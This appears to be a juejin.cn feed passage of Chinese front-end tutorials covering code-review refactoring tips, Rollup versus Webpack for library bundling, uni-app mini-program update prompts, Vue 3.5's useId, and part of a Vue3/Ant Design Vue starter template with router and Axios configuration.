throw new Error("不要重复点击");
}
} else {
throw new Error("不是会员");
}
} else {
throw new Error("未登录");
}
}

这是连续嵌套的判断逻辑,要怎么优化呢?


侧边栏选择这个 AI 插件,选择我们需要CR的代码


输入 codeRiview,回车


动画.gif


我们来看下 AI 给出的建议


image-20240723194729540.png


AI 给出的建议还是很不错的,我们可以通过更多的提示词,优化它给出的修改建议,这里就不过多赘述了


通常我们优化这种类型的代码,基本优化思路也是,前置校验逻辑,正常逻辑后置


除了CodeGeex外,还有一些比较专业的 codeRiview 的 AI 工具


比如:CodeRabbit


那既然都有 AI 工具了,我们还需要自己去CR 吗?


还是有必要的,借助 AI 工具我们可以减少一些阅读大量代码环节,提高效率,减少 CR 的时间


但是仍然需要我们根据 AI 工具的建议进行改进,并且总结,有利于拓宽我们见识,从而写出更优质的代码


具体 CR 实践


判断逻辑优化


1. 深层对象判空


// 深层对象
if (
store.getters &&
store.getters.userInfo &&
store.getters.userInfo.menus
) {}

// 可以使用 可选链进行优化
if (store?.getters?.userInfo?.menus) {}

2. 空函数判断


优化之前


props.onChange && props.onChange(e)

支持 ES11 可选链写法,可这样优化,js 中需要这样,ts 因为有属性校验,可以不需要判断,当然也特殊情况


props?.onChange?.(e)

老项目,不支持 ES11 可以这样写


const NOOP = () => 8
const { onChange = NOOP } = props
onChange(e)

3. 复杂判断逻辑抽离成单独函数


// 复杂判断逻辑
function checkGameStatus() {
if (remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0) {
quitGame()
}
}

// 复杂判断逻辑抽离成单独函数,更方便阅读
function isGameOver() {
return (
remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0
);
}

function checkGameStatus() {
if (isGameOver()) {
quitGame();
}
}

4. 判断处理逻辑正确的梳理方式


// 判断逻辑不要嵌套太深
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error('不要重复点击');
}
} else {
throw new Error('不是会员');
}
} else {
throw new Error('未登录');
}
}

这个是不是很熟悉呀~


没错,这就是使用 AI 工具 CR的代码片段


通常这种,为了处理特殊状况,所实现的判断逻辑,都可以采用 “异常逻辑前置,正常逻辑后置” 的方式进行梳理优化


// 将判断逻辑的异常逻辑提前,将正常逻辑后置
function checkStatus() {
if (!isLogin()) {
throw new Error('未登录');
}

if (!isVip()) {
throw new Error('不是会员');
}

if (!isDoubleCheck()) {
throw new Error('不要重复点击');
}

done();
}

函数传参优化


// 形参有非常多个
const getMyInfo = (
name,
age,
gender,
address,
phone,
email,
) => {
// ...
}

有时,形参有非常多个,这会造成什么问题呢?



  • 传实参是的时候,不仅需要知道传入参数的个数,还得知道传入顺序

  • 有些参数非必传,还要注意添加默认值,且编写的时候只能从形参的后面添加,很不方便

  • 所以啊,那么多的形参,会有很大的心智负担


怎么优化呢?


// 行参封装成对象,对象函数内部解构
const getMyInfo = (options) => {
const { name, age, gender, address, phone, email } = options;
// ...
}

getMyInfo(
{
name: '张三',
age: 18,
gender: '男',
address: '北京',
phone: '123456789',
email: '123456789@qq.com'
}
)

你看这样是不是就清爽了很多了


命名注释优化


1. 避免魔法数字


// 魔法数字
if (state === 1 || state === 2) {
// ...
} else if (state === 3) {
// ...
}

咋一看,这 1、2、3 又是什么意思啊?这是判断啥的?


语义就很不明确,当然,你也可以在旁边写注释


更优雅的做法是,将魔法数字改用常量


这样,其他人一看到常量名大概就知道,判断的是啥了


// 魔法数字改用常量
const UNPUBLISHED = 1;
const PUBLISHED = 2;
const DELETED = 3;

if (state === UNPUBLISHED || state === PUBLISHED) {
// ...
} else if (state === DELETED) {
// ...
}

2. 注释别写只表面意思


注释的作用:提供代码没有提供的额外信息


// 无效注释
let id = 1 // id 赋值为 1

// 有效注释,写业务逻辑 what & why
let id = 1 // 赋值文章 id 为 1

3. 合理利用命名空间缩短属性前缀


// 过长命名前缀
class User {
userName;
userAge;
userPwd;

userLogin() { };
userRegister() { };
}

如果我们把前面的类里面,变量名、函数名前面的 user 去掉


似乎,也一样能理解变量和函数名称所代表的意思


代码却,清爽了不少


// 利用命名空间缩短属性前缀
class User {
name;
age;
pwd;

login() {};
register() {};
}

分支逻辑优化


什么是分支逻辑呢?


使用 if else、switch case ...,这些都是分支逻辑


// switch case
const statusMap = (status: string) => {
switch(status) {
case 'success':
return 'SuccessFully'
case 'fail':
return 'failed'
case 'danger'
return 'dangerous'
case 'info'
return 'information'
case 'text'
return 'texts'
default:
return status
}
}

// if else
const statusMap = (status: string) => {
if(status === 'success') return 'SuccessFully'
else if (status === 'fail') return 'failed'
else if (status === 'danger') return 'dangerous'
else if (status === 'info') return 'information'
else if (status === 'text') return 'texts'
else return status
}

这些处理逻辑,我们可以采用 映射代替分支逻辑


// 使用映射进行优化
const STATUS_MAP = {
'success': 'Successfull',
'fail': 'failed',
'warn': 'warning',
'danger': 'dangerous',
'info': 'information',
'text': 'texts'
}

return STATUS_MAP[status] ?? status

【扩展】


??TypeScript 中的 “空值合并操作符”


当前面的值为 null 或者 undefined 时,取后面的值


对象赋值优化


// 多个对像属性赋值
const setStyle = () => {
content.body.head_style.style.color = 'red'
content.body.head_style.style.background = 'yellow'
content.body.head_style.style.width = '100px'
content.body.head_style.style.height = '300px'
// ...
}

这样一个个赋值太麻烦了,全部放一起赋值不就行了


可能,有些同学就这样写


const setStyle = () => {
content.body.head_style.style = {
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}

咋一看,好像没问题了呀?那 style 要是有其他属性呢,其他属性不就直接没了吗~


const setStyle = () => {
content.body.head_style.style = {
...content.body.head_style.style
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}

采用展开运算符,将原属性插入,然后从后面覆盖新属性,这样原属性就不会丢了


隐式耦合优化


// 隐式耦合
function responseInterceptor(response) {
const token = response.headers.get("authorization");
if (token) {
localStorage.setItem('token', token);
}
}

function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}

这个上面两个函数有耦合的地方,但是不太明显


比如这样的情况,有一天,我不想在 responseInterceptor 函数中保存 tokenlocalStorage


function responseInterceptor(response) {
const token = response.headers.get("authorization");
}

function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}

会发生什么?


localStorage.getItem('token')一直拿不到数据,requestInterceptor 这个函数就报废了,没用了


函数 responseInterceptor改动,影响到函数 requestInterceptor 了,隐式耦合了


怎么优化呢?


// 将隐式耦合的常数抽离成常量
const TOKEN_KEY = "authorization";
const TOKEN = 'token';

function responseInterceptor(response) {
const token = response.headers.get(TOKEN_KEY);
if (token) {
localStorage.setItem(TOKEN_KEY, token);
}
}

function requestInterceptor(response) {
const token = localStorage.getItem(TOKEN_KEY);
if (token) {
response.headers.set(TOKEN_KEY, token);
}
}

这样做有什么好处呢?比刚才好在哪里?


还是刚才的例子,我去掉了保存 localStorage.setItem(TOKEN_KEY, token)


我可以根据TOKEN_KEY这个常量来查找还有哪些地方用到了这个 TOKEN_KEY,从而进行修改,就不会出现冗余,或错误


不对啊,那我不用常量,用token也可以查找啊,但你想想 token 这个词是不是得全局查找,其他地方也会出现token


查找起来比较费时间,有时可能还会改错了


用常量的话,全局查找出现重复的概率很小


而且如果你是用 ts 的话,window 下鼠标停在常量上,按 ALT 键就能看到使用到这个常量的地方了,非常方便


小结


codeRiview(代码审查)不仅对个人技能的成长有帮助,也对我们在升职加薪、面试有所裨益


CR 除了传统的方式外,也可以借助 AI 工具,来简化其中流程,提高效率


上述的优化案例,虽然优化方式不同,但是核心思想都是一样,都是为了代码 更简洁、更容易理解、更容易维护


当然了,优化方式还有很多,如果后期遇到了也会继续补充进来


作者:大麦大麦
来源:juejin.cn/post/7394792228215128098
收起阅读 »

为什么组件库打包用 Rollup 而不是 Webpack?

web
Rolup 是一个打包工具,类似 Webpack。 组件库打包基本都是用 Rollup。 那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢? 我们来试一下: mkdir rollup-test cd rollup-te...
继续阅读 »

Rolup 是一个打包工具,类似 Webpack。


组件库打包基本都是用 Rollup。


那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢?


我们来试一下:


mkdir rollup-test
cd rollup-test
npm init -y

image.png


我们创建两个模块:


src/index.js


import { add } from './utils';

function main() {
console.log(add(1, 2))
}

export default main;

src/utils.js


function add(a, b) {
return a + b;
}

export {
add
}

很简单的两个模块,我们分别用 rollup 和 webpack 来打包下:


安装 rollup:


npm install --save-dev rollup

创建 rollup.config.js


/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
]
};

配置入口模块,打包产物的位置、模块规范。


在 webpack 里叫做 entry、output,而在 rollup 里叫做 input、output。


我们指定产物的模块规范有 es module、commonjs、umd 三种。


umd 是挂在全局变量上,还要指定一个全局变量的 name。


上面的 @type 是 jsdoc 的语法,也就是 ts 支持的在 js 里声明类型的方式。


效果就是写配置时会有类型提示:


image.png


不引入的话,啥提示都没有:


image.png


这里我们用了 export,把 rollup.config.js 改名为 rollup.config.mjs,告诉 node 这个模块是 es module 的。


配置好后,我们打包下:


npx rollup -c rollup.config.mjs

image.png


看下产物:


image.png


image.png


image.png


三种模块规范的产物都没问题。


那用 webpack 打包,产物是什么样呢?


我们试一下:


npm install --save-dev webpack-cli webpack

创建 webpack.config.mjs


import path from 'node:path';

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'commonjs2'
}
};

指定 libraryTarget 为 commonjs2


打包下:


npx webpack-cli -c webpack.config.mjs

image.png


可以看到,webpack 的打包产物有 100 行代码:


image.png


再来试试 umd 的:


image.png


umd 要指定全局变量的名字。


打包下:


image.png


image.png


也是 100 多行。


最后再试下 es module 的:


image.png


libraryTarget 为 module 的时候,还要指定 experiments.outputModule 为 true。


import path from 'node:path';

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
experiments: {
outputModule: true
},
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'module'
}
};

打包下:


image.png


产物也同样是 100 多行。


相比之下,rollup 的产物就非常干净,没任何 runtime 代码:


image.png


更重要的是 webpack 目前打包出 es module 产物还是实验性的,并不稳定


image.png


webpack 打 cjs 和 umd 的 library 还行。


但 js 库一般不都要提供 es module 版本么,支持的不好怎么行?


所以我们一般用 rollup 来做 js 库的打包,用 webpack 做浏览器环境的打包。


前面说组件库打包一般都用 rollup,我们来看下各大组件库的打包需求。


安装 antd:


npm install --no-save antd

在 node_modules 下可以看到它分了 dist、es、lib 三个目录:



分别看下这三个目录的组件代码:


lib 下的组件是 commonjs 的:



es 下的组件是 es module 的:



dist 下的组件是 umd 的:



然后在 package.json 里分别声明了 commonjs、esm、umd 还有类型的入口:



这样,当你用 require 引入的就是 lib 下的组件,用 import 引入的就是 es 下的组件。


而直接 script 标签引入的就是 unpkg 下的组件。


再来看一下 semi design 的:


npm install --no-save @douyinfe/semi-ui


也是一样:



只不过多了个 css 目录。


所以说,组件库的打包需求就是组件分别提供 esm、commonjs、umd 三种模块规范的代码,并且还有单独打包出的 css。


那 rollup 如何打包 css 呢?


我们试一下:


创建 src/index.css


.aaa {
background: blue;
}

创建 src/utils.css


.bbb {
background: red;
}

然后分别在 index.js 和 utils.js 里引入下:


image.png


image.png


安装 rollup 处理 css 的插件:


npm install --save-dev rollup-plugin-postcss

引入下:


image.png


import postcss from 'rollup-plugin-postcss';

/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
],
plugins: [
postcss({
extract: true,
extract: 'index.css'
}),
]
};

然后跑一下:


npx rollup -c rollup.config.mjs

image.png


可以看到,产物多了 index.css


image.png


而 js 中没有引入 css 了:


image.png


被 tree shaking 掉了,rollup 默认开启 tree shaking。


这样我们就可以单独打包组件库的 js 和 css。


删掉 dist,我们试下不抽离是什么样的:


image.png


npx rollup -c rollup.config.mjs

image.png


可以看到,代码里多了 styleInject 的方法:


image.png


用于往 head 里注入 style


image.png


一般打包组件库产物,我们都会分离出来。


然后我们再用 webpack 打包试试:


安装用到的 loader:


npm install --save-dev css-loader style-loader

css-loader 是读取 css 内容为 js


style-loader 是往页面 head 下添加 style 标签,填入 css


这俩结合起来和 rollup 那个插件功能一样。


配置 loader:


image.png


module: {
rules: [{
test: /\.css$/i,
use: ["style-loader", "css-loader"],
}],
}

用 webpack 打包下:


npx webpack-cli -c webpack.config.mjs

image.png


可以看到 css 变成 js 模块引入了:


image.png


这是 css-loader 做的。


而插入到 style 标签的 injectStylesIntoStyleTag 方法则是 style-loader 做的:


image.png


然后再试下分离 css,这用到一个单独的插件:


npm install --save-dev mini-css-extract-plugin

配一下:


image.png


import path from 'node:path';
import MiniCssExtractPlugin from "mini-css-extract-plugin";

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
},
module: {
rules: [{
test: /\.css$/i,
use: [MiniCssExtractPlugin.loader, "css-loader"],
}],
},
plugins: [
new MiniCssExtractPlugin({
filename: 'index.css'
})
]
};


指定抽离的 filename 为 index.css


抽离用的 loader 要紧放在 css-loader 之前。


样式抽离到了 css 中,这时候 style-loader 也就不需要了。


打包下:


npx webpack-cli -c webpack.config.mjs

image.png


样式抽离到了 css 中:


image.png


而 js 里的这个模块变为了空实现:


image.png


所以 webpack 的 style-loader + css-loader + mini-css-extract-plugin 就相当于 rollup 的 rollup-plugin-postcss 插件。


为什么 rollup 没有 loader 呢?


因为 rollup 的 plugin 有 transform 方法,也就相当于 loader 的功能了。


我们自己写一下抽离 css 的 rollup 插件:


创建 my-extract-css-rollup-plugin.mjs(注意这里用 es module 需要指定后缀为 .mjs):


const extractArr = [];

export default function myExtractCssRollupPlugin (opts) {
return {
name: 'my-extract-css-rollup-plugin',
transform(code, id) {
if(!id.endsWith('.css')) {
return null;
}

extractArr.push(code);

return {
code: 'export default undefined',
map: { mappings: '' }
}
},
generateBundle(options, bundle) {

this.emitFile({
fileName: opts.filename || 'guang.css',
type: 'asset',
source: extractArr.join('\n/*光光666*/\n')
})
}
};
}


在 transform 里对代码做转换,这就相当于 webpack 的 loader 了。


我们在 transform 里只处理 css 文件,保存 css 代码,返回一个空的 js 文件。


然后 generateBundle 里调用 emitFile 生成一个合并后的 css 文件。


用一下:


image.png


import myExtractCssRollupPlugin from './my-extract-css-rollup-plugin.mjs';

myExtractCssRollupPlugin({
filename: '666.css'
})

删掉之前的 dist 目录,重新打包:


npx rollup -c rollup.config.mjs

image.png


看下产物:
image.png


可以看到,抽离出了 css,内容是合并后的所有 css。


而 cjs 也没有 css 的引入:


image.png


也是被 tree shaking 掉了。


我们把 tree shaking 关掉试试:


image.png


再次打包:


image.png


可以看到,两个 css 模块转换后的 js 模块依然被引入了:


image.png


我们改下插件 transform 的内容:


image.png


再次打包:


image.png


可以看到引入的也是我们转后后的 css 模块的内容:


image.png


因为没用到,同样会被 tree shaking 掉。


所以说 rollup 的插件的 transform 就相当于 webpack loader 的功能。


前面说 webpack 用来做浏览器的打包,而 rollup 一般做 js 库的打包。


这也不全对,vite 就是用 rollup 来做的生产环境的打包。


因为它开发环境下不打包,而是跑了一个开发服务器,对代码做了下转换,不需要 webpack 那些 dev server 的功能。


而生产环境又需要打包,所以 rollup 就很合适。


image.png


开发环境下,浏览器里用 type 为 module 的 script 引入,会请求 vite 的开发服务器。


vite 开发服务器会调用 rollup 插件的 transform 方法来做转换。


而生产环境下,用 rollup 打包,也是用同样的 rollup 插件。


当然,vite 还会用 esbuild 来做下依赖的与构建,比如把 cjs 转换成 esm、把小模块打包成一个大的模块。


用 esbuild 是因为它更快。


所以说,vite 是基于 rollup 来实现的,包括开发服务器的 transform,以及生产环境的打包。


但是为了性能考虑,又用了 esbuild 做依赖预构建。


现在 vite 团队在开发 rust 版 rollup 也就是 rolldown 了,有了它之后,就可以完全替代掉 rollup + esbuild 了。


综上,除了 webpack、vite 外,rollup 也是非常常用的一个打包工具。



案例代码上传了github



总结


这节我们学习了 rollup,虽然它不如 webpack、vite 提到的多,但也是一个常用的打包工具。


它打包产物没有 runtime 代码,更简洁纯粹,能打包出 esm、cjs、umd 的产物,常用来做 js 库、组件库的打包。相比之下,webpack 目前对 esm 产物的支持还是实验性的,不稳定。


rollup 只有 plugin,没有 loader,因为它的 transform 方法就相当于 webpack 插件的 loader。


vite 就是基于 rollup 来实现的,开发环境用 rollup 插件的 transform 来做代码转换,生产环境用 rollup 打包。


不管你是想做组件库、js 库的打包,还是想深入学习 vite,都离不开 rollup。



更多内容可以看我的小册《Node.js CLI 通关秘籍》



作者:zxg_神说要有光
来源:juejin.cn/post/7437903515169325082
收起阅读 »

uni-app开发的小程序版本更新提示

web
在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。 开发者将小程序文案更...
继续阅读 »

在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。



开发者将小程序文案更新后,发版后,页面、功能发现没有修改,必须在我的小程序删除后,重新进入才更新看到我们发版的功能,这样很影响用户体验


小程序更新机制


开发者在管理后台发布新版本的小程序之后,微信客户端会有若干个时机去检查本地缓存的小程序有没有新版本,并进行小程序的代码包更新。但如果用户本地有小程序的历史版本,此时打开的可能还是旧版本。


平台差异说明


AppH5微信小程序支付宝小程序百度小程序抖音小程序飞书小程序QQ小程序快手小程序京东小程序
xx

updateManager 对象的方法列表:


方法参数说明
onCheckForUpdatecallback(callback)当向小程序后台请求完新版本信息,会进行回调
onUpdateReadycallback新的版本已经下载好,会进行回调
onUpdateFailedcallback当新版本下载失败,会进行回调
applyUpdatecallback当新版本下载完成,调用该方法会强制当前小程序应用上新版本并重启

onCheckForUpdate(callback) 回调结果说明:


属性类型说明
hasUpdateBoolean是否有新的版本

准备工作


在开始之前,确保你已经有了以下准备:



  • uniapp项目: 一个已经部署并上线的UniApp小程序项目。


客户端检查更新代码示例


在uni-app小程序的App.vue或main.js文件中,我们可以在App.vue中的onShow生命周期钩子中检查更新:


<script>
export default {
onShow() {
// #ifdef MP
this.checkForUpdate()
// #endif
},
methods:{
// 检测是否更新
checkForUpdate(){
const _this = this
// 检查小程序是否有新版本发布
const updateManager = uni.getUpdateManager();
// 请求完新版本信息的回调
updateManager.onCheckForUpdate((res) => {
console.log('onCheckForUpdate-res',res);
//检测到新版本,需要更新,给出提示
if (res && res.hasUpdate) {
uni.showModal({
title: '更新提示',
content: '检测到新版本,是否下载新版本并重启小程序?',
success(res) {
if (res.confirm) {
//用户确定下载更新小程序,小程序下载及更新静默进行
_this.downLoadAndUpdate(updateManager)
}else{
// 若用户点击了取消按钮,二次弹窗,强制更新,如果用户选择取消后不需要进行任何操作,则以下内容可忽略
uni.showModal({
title: '温馨提示~',
content: '本次版本更新涉及到新的功能添加,旧版本无法正常访问的哦~',
confirmText: "确定更新",
cancelText:"取消更新",
success(res) {
if (res.confirm) {
//下载新版本,并重新应用
_this.downLoadAndUpdate(updateManager)
}
}
});
}
}
});
}
});
},
// 下载小程序新版本并重启应用
downLoadAndUpdate(updateManager){
const _this = this
uni.showLoading({ title: '小程序更新中' });

// //静默下载更新小程序新版本
updateManager.onUpdateReady((res) => {
console.log('onUpdateReady-res',res);
uni.hideLoading();
//新的版本已经下载好,调用 applyUpdate 应用新版本并重启
updateManager.applyUpdate()
});

// 更新失败
updateManager.onUpdateFailed((res) => {
console.log('onUpdateFailed-res',res);
// 新的版本下载失败
uni.hideLoading();
uni.showModal({
title: '已经有新版本了哟~',
content: '新版本已经上线啦~,请您删除当前小程序,重新搜索打开哟~',
showCancel: false
});
});
}
}
};
</script>

由于小程序开发版/体验版没有“版本”的概念,所以无法在开发版/体验版上测试版本更新情况,可以在开发工具上,添加编译模式,勾选最下方的“下次编译时模拟更新”,但是要注意,这种模式仅供一次编译,下次编译需重新勾选“下次编译时模拟更新”


1.png


结语


通过以上步骤,你可以在uni-app小程序中实现版本更新提示的功能。这不仅有助于提升用户体验,还能确保用户总是使用最新的功能和改进。记得在发布新版本时更新小程序版本号,以便及时通知用户。希望本篇博客能够帮助你在uni-app项目中顺利实现版本更新提示。


2.png


好了今天的内容分享到这,下次再见 👋


作者:你的Maya
来源:juejin.cn/post/7387216861858201639
收起阅读 »

Vue3.5新增的useId到底有啥用?

web
0. 啥是useId Vue 3.5中新增的useId函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符...
继续阅读 »

0. 啥是useId


Vue 3.5中新增的useId函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符。


useId的实现原理相对简单。它通过访问Vue实例的ids属性来生成ID,这个属性是一个数组,其中包含了用于生成ID的前缀和自增数字。每次调用useId时,都会取出当前的数字值,然后进行自增操作。这意味着在同一页面上的多个Vue应用实例可以通过配置app.config.idPrefix来避免ID冲突,因为每个应用实例都会维护自己的ID生成序列。


1. 实现源码


export function useId(): string {
const i = getCurrentInstance()
if (i) {
return (i.appContext.config.idPrefix || 'v') + '-' + i.ids[0] + i.ids[1]++
} else if (__DEV__) {
warn(
`useId() is called when there is no active component ` +
`instance to be associated with.`,
)
}
return ''
}


  • i.appContext.config.idPrefix:这是从当前组件实例中获取的一个配置属性,用于定义生成ID的前缀。如果这个前缀存在,它将被使用;如果不存在,默认使用 'v'

  • i.ids[0]:这是当前组件实例上的 ids 数组的第一个元素,它是一个字符串,通常为空字符串,用于生成ID的一部分。

  • i.ids[1]++:这是 ids 数组的第二个元素,它是一个数字,用于生成ID的自增部分。这里使用了后置自增运算符 ++,这意味着它会返回当前值然后自增。每次调用 useId 时,这个数字都会增加,确保生成的ID是唯一的。


2.设置ID前缀


如果不想使用默认的前缀'v'的话,可以通过app.config.idPrefix进行设置。


const app = createApp(App)

app.config.idPrefix = 'vid'

3.使用场景


3-1. 表单元素的唯一标识


在表单中,<label> 标签需要通过 for 属性与对应的 <input> 标签的 id 属性相匹配,以实现点击标签时输入框获得焦点的功能。使用 useId 可以为每个 <input> 元素生成一个唯一的 id,确保这一功能的正常工作。例如:


<label :for="id">Do you like Vue 3.5?</label>
<input type="checkbox" :id="id" />

const id = useId()

3-2. 列表渲染中的唯一键


在渲染列表时,每一项通常需要一个唯一的键(key),以帮助 Vue 追踪每个节点的身份,从而进行高效的 DOM 更新。如果你的列表数据没有唯一key的话,那么useId 可以为列表中的每个项目生成一个唯一的键。


<ul>
<li v-for="item in items" :key="item.id">
{{ item.text }}({{ item.id }})
</li>
</ul>

const items = Array.from({ length: 10}, (v, k) => { 
return {
text: `Text ${k}`,
id: useId()
}
})

上述代码渲染结果如下:


image.png


3-3. 服务端渲染(SSR)中避免 ID 冲突


在服务端渲染(SSR)的应用中,页面的HTML内容是在服务器上生成的,然后发送给客户端浏览器。在客户端,浏览器会接收到这些HTML内容,并将其转换成一个可交互的页面。如果在服务器端和客户端生成的HTML中存在相同的ID,那么在客户端激活(hydrate)时,就可能出现问题,因为客户端可能会尝试操作一个已经由服务器端渲染的DOM元素,导致潜在的冲突或错误。


下面是一个使用useId来避免这种ID冲突的实际案例:


服务端代码 (server.js)


import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import App from './App.vue';

const app = createSSRApp(App);

// 假设我们在这里获取了一些数据
const data = fetchData();

renderToString(app).then(html => {
// 将服务端渲染的HTML发送给客户端
sendToClient(html);
});

客户端代码 (client.js)


import { createSSRApp } from 'vue';
import App from './App.vue';

const app = createSSRApp(App);

// 客户端激活,将服务端渲染的HTML转换成可交互的页面
hydrateApp(app);

在这个案例中,无论是服务端还是客户端,我们都使用了createSSRApp(App)来创建应用实例。如果我们在App.vue中使用了useId来生成ID,那么这些ID将在服务端渲染时生成一次,并在客户端激活时再次使用相同的ID。


App.vue 组件


<template>
<div>
<input :id="inputId" type="text" />
<label :for="inputId">Enter text:</label>
</div>
</template>

<script setup>
import { useId } from 'vue';

const inputId = useId();
</script>

App.vue组件中,我们使用了useId来为<input>元素生成一个唯一的ID。这个ID在服务端渲染时生成,并包含在发送给客户端的HTML中。当客户端接收到这个HTML并开始激活过程时,由于useId生成的ID在服务端和客户端是相同的,所以客户端可以正确地将<label>元素关联到<input>元素,而不会出现ID冲突的问题。


如果没有使用useId,而是使用了Math.random()Date.now()来生成ID,那么服务端和客户端可能会生成不同的ID,导致客户端在激活时无法正确地将<label><input>关联起来,因为它们具有不同的ID。这可能会导致表单元素的行为异常,例如点击<label>时,<input>无法获得焦点。


3-4. 组件库中的 ID 生成


在使用 Element Plus 等组件库进行 SSR 开发时,为了避免 hydration 错误,需要确保服务器端和客户端生成相同的 ID。通过在 Vue 中注入 ID_injection_key,可以确保 Element Plus 生成的 ID 在 SSR 中是唯一的。


// src/main.js
import { createApp } from 'vue'
import { ID_INJECTION_KEY } from 'element-plus'
import App from './App.vue'
const app = createApp(App)
app.provide(ID_INJECTION_KEY, {
prefix: 1024,
current: 0,
})



希望这篇文章介绍对你有所帮助,上述代码已托管在Gitee上,欢迎自取!


作者:酷酷的阿云
来源:juejin.cn/post/7429411484307161127
收起阅读 »

Vue3 + Antdv4 + Vite5超轻普系统开源!!!

web
为毛要做个超轻?社区上不是很多启动模板?请看图 是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置 包含通用基础配置的启动框架 1、路由配置 在modules中插入路由文件自动读取 import { Rou...
继续阅读 »

为毛要做个超轻?社区上不是很多启动模板?请看图


image.png
image.png

是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置



包含通用基础配置的启动框架


1、路由配置


image.png


在modules中插入路由文件自动读取


import { RouteRecordRaw, createRouter, createWebHistory } from "vue-router";

const modules = import.meta.glob("./modules/**/*.ts", {
eager: true,
import: "default",
});
const routeModuleList: Array<RouteRecordRaw> = [];
Object.keys(modules).forEach((key) => {
// @ts-ignore
routeModuleList.push(...modules[key]);
});

// 存放动态路由
export const asyncRouterList: Array<RouteRecordRaw> = [...routeModuleList];

const routes = [
{
path: "/",
name: "/",
redirect: asyncRouterList[0].path,
},
...asyncRouterList,
{
path: "/login",
name: "login",
component: () => import("@/views/login/index.vue"),
},
{
path: "/:catchAll(.*)*",
name: "404",
component: () => import("@/views/result/404.vue"),
},
];

const router = createRouter({
routes,
history: createWebHistory(),
});

router.beforeEach((to, from, next) => {
// TODO 各种操作
next();
});

export default router;

Axios 配置


对返回的状态码进行异常提示,请求拦截器做了通用的Token注入操作、响应拦截器做了数据处理


import axios, { AxiosInstance, AxiosRequestConfig, AxiosResponse } from "axios";
// import { MessagePlugin, NotifyPlugin } from 'tdesign-vue-next';
import { getUserStore } from "@/store";
import { message, notification } from "ant-design-vue";

interface AxiosConfig extends AxiosRequestConfig {
method?: "GET" | "POST" | "DELETE" | "PUT";
url: string;
params?: Record<string, any>;
data?: Record<string, any>;
config?: Record<string, string>;
}

const codeMessage: Record<number, string> = {
200: "服务器成功返回请求的数据。",
201: "新建或修改数据成功。",
202: "一个请求已经进入后台排队(异步任务)。",
204: "删除数据成功。",
400: "发出的请求有错误,服务器没有进行新建或修改数据的操作。",
401: "用户没有权限(令牌、用户名、密码错误)。",
403: "用户得到授权,但是访问是被禁止的。",
404: "发出的请求针对的是不存在的记录,服务器没有进行操作。",
406: "请求的格式不可得。",
410: "请求的资源被永久删除,且不会再得到的。",
422: "当创建一个对象时,发生一个验证错误。",
500: "服务器发生错误,请检查服务器。",
502: "网关错误。",
503: "服务不可用,服务器暂时过载或维护。",
504: "网关超时。",
};

const notificationBox = (status: number, url: string, errorText: string) => {
return notification.error({
message: errorText,
description: `请求错误 ${status}: ${url}`,
});
};

// 请求错误
const requestInterceptorsError = (error: any) => Promise.reject(error);

// 响应数据
const responseInterceptors = (response: AxiosResponse) => {
if (response && response.status === 200) {
const { code } = response.data;
if (code === -999) {
message.info("登录过期, 即将跳转登录页面");
const timer = setTimeout(() => {
getUserStore().logout();
clearTimeout(timer);
}, 2000);
return null;
}
return response.data;
}
return response.data;
};
// 响应错误
const responseInterceptorsError = (error: any) => {
const { response } = error;
if (response && response.status) {
const errorText = codeMessage[response.status] || response.statusText;
const { status } = response;
const url = response.request.responseURL;

if (response.status !== 400 && response.status !== 401) {
notificationBox(status, url, errorText);
}
switch (status) {
case 401:
notificationBox(status, url, errorText);
// TODO
break;
case 403:
// TODO
break;
default:
break;
}
} else {
notification.error({
message: "网络异常",
description: "您的网络发生异常,无法连接服务器",
});
}
return Promise.reject(error);
};
/** 不能token的接口 */
const noTokenList = ["/login"];

const createAxiosByInterceptors = (
config?: AxiosRequestConfig
): AxiosInstance => {
const instance = axios.create({
